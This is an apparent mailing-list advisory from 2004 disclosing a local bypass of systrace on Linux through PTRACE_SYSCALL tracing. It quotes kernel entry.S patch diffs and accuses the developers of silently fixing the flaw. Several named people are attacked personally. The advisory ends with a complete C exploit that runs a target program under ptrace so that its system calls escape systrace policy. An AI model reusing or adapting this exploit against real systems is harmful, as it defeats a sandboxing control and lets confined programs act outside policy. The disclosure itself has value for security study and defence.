systrace silently patches full local bypass vulnerability on Linux Introductory Note: I will not be replying to any posts in response to this mail, no matter how many times you intentionally misspell my name or attack me personally. Annoying me in an attempt to get me to release vulnerability details to you does not work. Executive Summary: Don't use systrace. This is only one of three exploitable bugs that have existed in systrace since its creation. One other bug is a local root and applies across all OSes systrace supports (including OpenBSD!), while the other is specific to Linux and allows a local bypass. Marius Eriksen has silently fixed this bug, and there is no doubt that he will try to fix the other two silently also. Hopefully this advisory will persuade Marius and Niels to not go that route, though I don't see either bug being fixed any time soon, as they are both design flaws and nearly impossible to catch through empirical testing. Vulnerability Detail: Let's look at the systrace v1.4 patch: --- linux-2.4.21/arch/i386/kernel/entry.S~systrace-1.4 2003-06-30 02:15:04.000000000 -0400 +++ linux-2.4.21-marius/arch/i386/kernel/entry.S 2003-06-30 02:15:04.000000000 -0400 @@ -207,8 +207,21 @@ ENTRY(system_call) jne tracesys cmpl $(NR_syscalls),%eax jae badsys +#ifdef CONFIG_SYSTRACE + movl %esp,%eax + call SYMBOL_NAME(systrace_intercept) + cmpl $0,%eax + jl ret + movl ORIG_EAX(%esp),%eax +#endif /* CONFIG_SYSTRACE */ call *SYMBOL_NAME(sys_call_table)(,%eax,4) +ret: movl %eax,EAX(%esp) # save the return value +#ifdef CONFIG_SYSTRACE + movl %esp,%eax # pass in stack + call SYMBOL_NAME(systrace_result) + movl EAX(%esp),%eax # XXX: ?to be on the safe side +#endif /* CONFIG_SYSTRACE */ ENTRY(ret_from_sys_call) cli # need_resched and signals atomic test cmpl $0,need_resched(%ebx) What I want to direct your attention to is the first line of the patch, "jne tracesys", which for you OpenBSD developers of the world that don't understand assembly means that the system call entry point is redirecting execution flow to another place in the routine where the system call will be called if the current process is being ptrace'd with PTRACE_SYSCALL, which single steps through each system call in an application. When the system call is called at the different location, systrace will not have intercepted it. Let's look at the latest v1.5 patch for 2.4.24 (though a similar fix is present in the 2.6.3 patch also): diff -puN arch/i386/kernel/entry.S~systrace-1.5 arch/i386/kernel/entry.S --- linux-2.4.24/arch/i386/kernel/entry.S~systrace-1.5 2004-01-26 00:35:49.000000000 -0500 +++ linux-2.4.24-marius/arch/i386/kernel/entry.S 2004-01-26 00:52:52.000000000 -0500 @@ -207,8 +207,21 @@ ENTRY(system_call) jne tracesys cmpl $(NR_syscalls),%eax jae badsys +#ifdef CONFIG_SYSTRACE + movl %esp,%eax + call SYMBOL_NAME(systrace_intercept) + cmpl $0,%eax + jl ret + movl ORIG_EAX(%esp),%eax +#endif /* CONFIG_SYSTRACE */ call *SYMBOL_NAME(sys_call_table)(,%eax,4) +ret: movl %eax,EAX(%esp) # save the return value +#ifdef CONFIG_SYSTRACE + movl %esp,%eax # pass in stack + call SYMBOL_NAME(systrace_result) + movl EAX(%esp),%eax # XXX: ?to be on the safe side +#endif /* CONFIG_SYSTRACE */ ENTRY(ret_from_sys_call) cli # need_resched and signals atomic test cmpl $0,need_resched(%ebx) @@ -243,8 +256,20 @@ tracesys: movl ORIG_EAX(%esp),%eax cmpl $(NR_syscalls),%eax jae tracesys_exit +#ifdef CONFIG_SYSTRACE + movl %esp,%eax + call SYMBOL_NAME(systrace_intercept) + cmpl $0,%eax + jl tracesys_exit + movl ORIG_EAX(%esp),%eax +#endif /* CONFIG_SYSTRACE */ call *SYMBOL_NAME(sys_call_table)(,%eax,4) movl %eax,EAX(%esp) # save the return value +#ifdef CONFIG_SYSTRACE + movl %esp,%eax # pass in stack + call SYMBOL_NAME(systrace_result) + movl EAX(%esp),%eax # XXX: ?to be on the safe side +#endif /* CONFIG_SYSTRACE */ tracesys_exit: call SYMBOL_NAME(syscall_trace) jmp ret_from_sys_call As we can see here, there is a lot more code in entry.S. And for what reason? Let's look to the announcement on the mailing list: "which is for linux 2.4.24 and includes a few updates i made when forward porting systrace to linux 2.6.1. it also includes some updated system call definitions, including the xattr/acl related system calls." Supporting more syscalls doesn't mean that Marius had to modify entry.S. The internal systrace functions handle all that. This clearly was not simple port work either; there was a deliberate attempt to add the systrace hooks to the syscall tracing case. Note to those stinking up the security community cesspool: I'm sure rather than taking responsibility for this blatant attempt to hide an exploitable vulnerability that has been known in the blackhat community ever since systrace was released for Linux (almost two years now), Marius and Niels will instead try to attack my character, misspell my name, claim that I found the bug by diffing, or anything else that will take the attention off of this bug. In fact, I know of several others that have discovered this bug independently, who I hope will respond to this advisory and give weight to my claim if there is any doubt on the part of Niels and Marius. I apologize for the delay in this advisory, since when I have checked the systrace patch for updates, I would usually check for the local root hole, not this ptrace-related vulnerability. There seems to be some common sentiment in the community, and by community I mean people sitting in cubicles with the false belief that they understand security (eg. RedHat employees), that bugs don't exist until they're revealed to the public. There's the belief that someone who claims to have private exploits but chooses not to release them is in every case a liar, even though there is every reason to believe that person. There also seems to be the ridiculous notion among certain developers, and also by people who cannot code at all (eg. Joshua Brindle aka Method, leader of the Gentoo Hardened project) that they can treat exploit developers any way they want and expect to be treated fairly in return through prior disclosure of vulnerabilities. I'm not just speaking about myself here. The reaction against noir when he posted his OpenBSD local root is a prime example. The cost of freedom of speech is responsibility for that speech. There was recent doubt as to whether I had discovered a number of vulnerabilities in other security systems. Though it should seem obvious that someone developing a security system would look at other systems and find flaws in them quickly (and I would seriously doubt the ability of any "whitehat" who has not), some people obviously do not think so. There are protection bypass vulnerabilities in: LIDS DTE exec-shield (and no, it has nothing to do with paxtest) linsec systrace There were also recently several scathing comments made by Russell Coker, an employee of RedHat. Some background info on Russell: he's from Australia, he's not used to IRC, he can't name any blackhats off-hand, and somehow he's a (self-titled?) security expert and wants everyone to use SELinux. I had made the claim in a channel that the Debian SELinux test box was owned by stealth due to a configuration error. It turned out that stealth had not owned the Debian SELinux test box, and Russell Coker certainly made everyone aware of this. What he of course failed to mention (and that he was knowledgeable of, as I was CC'd on the mails) was that stealth did own an SELinux test machine some time back in Australia due to a configuration error. My mistake was believing that there was more than one user of SELinux in Australia. I should also note that that the SELinux test box challenge is a hoax. Russell seems to think not however: "I've been running SE Linux machines that anyone can try to crack as root since the middle of 2001." http://marc.theaimsgroup.com/?l=selinux&m=107943732100178&w=2 "Is anyone offering root access to any machine running any security system other than SE Linux?" http://groups.google.com/groups?selm=20030607072005%2463c7%40gated-at.bofh.it&oe=UTF-8&output=gplain There's also an interesting omission here about how much Russell is relying on the "security" of SELinux for the test machine: "It was claimed that the machine was cracked some months ago, if so the attacker would have had to maintain their root-kit past upgrades of SE Linux policy, kernel, and OS packages." http://marc.theaimsgroup.com/?l=selinux&m=107925097605307&w=2 What's that now? Kernel upgrades? OS packages? Upgrades of policy? It's also interesting how quickly they've forgot about this: http://marc.theaimsgroup.com/?l=selinux&m=105490085132101&w=2 There is no reason why the box couldn't have been hacked when you realize that any of the recent local kernel exploits for Linux could have been used to own the box. Certainly someone could have used the exploits before they were released to the public to own the machine; I myself was in possession of one of the exploits weeks before it was released publicly. Russell also seems to think that real hackers would want to waste their private exploits on his useless test machine, clearly evidence of his complete lack of understanding of the blackhat community, the very people he claims to know how to protect himself (and you) from. Without much further ado, here's a simple exploit for the silently fixed systrace vulnerability. I apologize for its lack of multithreading. #include #include #include #include #include #include #include int main(int argc, char *argv[]) { int pid; int input[2]; int output[2]; int error[2]; int ret; fd_set readfds; if (argc < 2) { printf("usage: ./systrace_exp ... \n"); exit(0); } ret = pipe(input); if (ret) { printf("Unable to create pipe\n"); exit(1); } ret = pipe(output); if (ret) { printf("Unable to create pipe\n"); exit(1); } ret = pipe(error); if (ret) { printf("Unable to create pipe\n"); exit(1); } pid = fork(); if (pid > 0) { char somechar; int highest; struct timeval time; time.tv_sec = 0; time.tv_usec = 1000; close(input[0]); close(output[1]); close(error[1]); FD_ZERO(&readfds); FD_SET(0, &readfds); FD_SET(output[0], &readfds); FD_SET(error[0], &readfds); while (1) { FD_SET(0, &readfds); FD_SET(output[0], &readfds); FD_SET(error[0], &readfds); time.tv_sec = 0; time.tv_usec = 1000; while ((select(error[0] + 1, &readfds, NULL, NULL, &time)) > 0) { if (FD_ISSET(0, &readfds)) { if (read(0, &somechar, 1) != 1) exit(0); write(input[1], &somechar, 1); } if (FD_ISSET(output[0], &readfds)) { if (read(output[0], &somechar, 1) != 1) exit(0); write(1, &somechar, 1); } if (FD_ISSET(error[0], &readfds)) { if (read(error[0], &somechar, 1) != 1) exit(0); write(2, &somechar, 1); } FD_SET(0, &readfds); FD_SET(output[0], &readfds); FD_SET(error[0], &readfds); time.tv_sec = 0; time.tv_usec = 1000; } ptrace(PTRACE_SYSCALL, pid, NULL, NULL); if (errno == ESRCH) break; } } else if (pid == 0) { close(input[1]); close(output[0]); close(error[0]); close(0); dup(input[0]); close(1); dup(output[1]); close(2); dup(error[1]); ptrace(PTRACE_TRACEME, 0, NULL, NULL); if (argc == 2) execv(argv[1], NULL); else execv(argv[1], argv + 1); } else { fprintf(stderr, "Unable to fork.\n"); exit(1); } return 0; } Be kind to others. Know your enemy. Thank you for your time. -Brad